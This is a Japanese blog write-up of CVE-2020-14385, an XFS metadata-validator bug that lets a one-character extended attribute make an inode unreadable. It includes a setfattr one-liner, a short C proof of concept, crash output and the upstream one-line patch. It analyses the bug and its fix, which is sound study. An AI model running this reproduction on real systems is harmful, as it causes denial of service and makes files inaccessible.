CVE-2020-14385 xfs DoS
概要
Linux kernel 5.9-rc4以前のXFSでは,metadata validatorのバグにより,有効な拡張属性を持つinodeが破損しているというフラグが立てられる事がある.
影響範囲
RHEL7以降ではXFSをデフォルトで採用している為,影響範囲が非常に広い.
少なくとも手元のVagrant上のcentos/7では発火した.
再現手順
非常に簡単で,拡張属性を1文字にすれば良い.
[vagrant@localhost ~]$ uname -a
Linux localhost.localdomain 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[vagrant@localhost tmp]$ touch test
[vagrant@localhost tmp]$ setfattr -n user.x test
~~ snip ~~
[vagrant@localhost tmp]$ ls
-bash: /usr/bin/ls: Input/output error
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <err.h>
int main(int argc, const char **argv) {
if (argc<2)
err(1, "Usage: %s path\n", *argv);
const char *path = argv[1];
if (open(path, O_RDWR | O_CREAT)<0)
err(1, "error when open: %m\n");
if (setxattr(path, "user.x", NULL, 0, 0)<0)
err(1, "error when setxattr: %m\n");
printf("setxattr to %s succeeded!\n", path);
return 0;
}
再現環境(CentOS7)では拡張属性を設定後,少しするとInput/output errorが発生し,使い物にならない状態となった.
reboot後も,対象のinodeにアクセスしようとすると,
ls: cannot access test: Structure needs cleaning
となる
修正
パッチも非常にシンプルで,
diff --git a/fs/xfs/libxfs/xfs_attr_leaf.c b/fs/xfs/libxfs/xfs_attr_leaf.c
index 8623c815164a6..383b08f2ac61f 100644
--- a/fs/xfs/libxfs/xfs_attr_leaf.c
+++ b/fs/xfs/libxfs/xfs_attr_leaf.c
@@ -1036,8 +1036,10 @@ xfs_attr_shortform_verify(
* struct xfs_attr_sf_entry has a variable length.
* Check the fixed-offset parts of the structure are
* within the data buffer.
+ * xfs_attr_sf_entry is defined with a 1-byte variable
+ * array at the end, so we must subtract that off.
*/
- if (((char *)sfep + sizeof(*sfep)) >= endp)
+ if (((char *)sfep + sizeof(*sfep) - 1) >= endp)
return __this_address;
これだけの変更である
今まで誰も気づいていなかったのが不思議だ.
発火のタイミング
修正部分の周辺を読んでみると,対象となる属性を付与したinodeのverify_attr
が呼ばれるタイミングで発火するようだ.
sysctl
でfs.xfs.xfssyncd_centisecs
等のパラメタを変更する事で発火のタイミングを調整できる(権限は必要だが).
centisecs
なので,1/100秒単位での設定となる.
Comments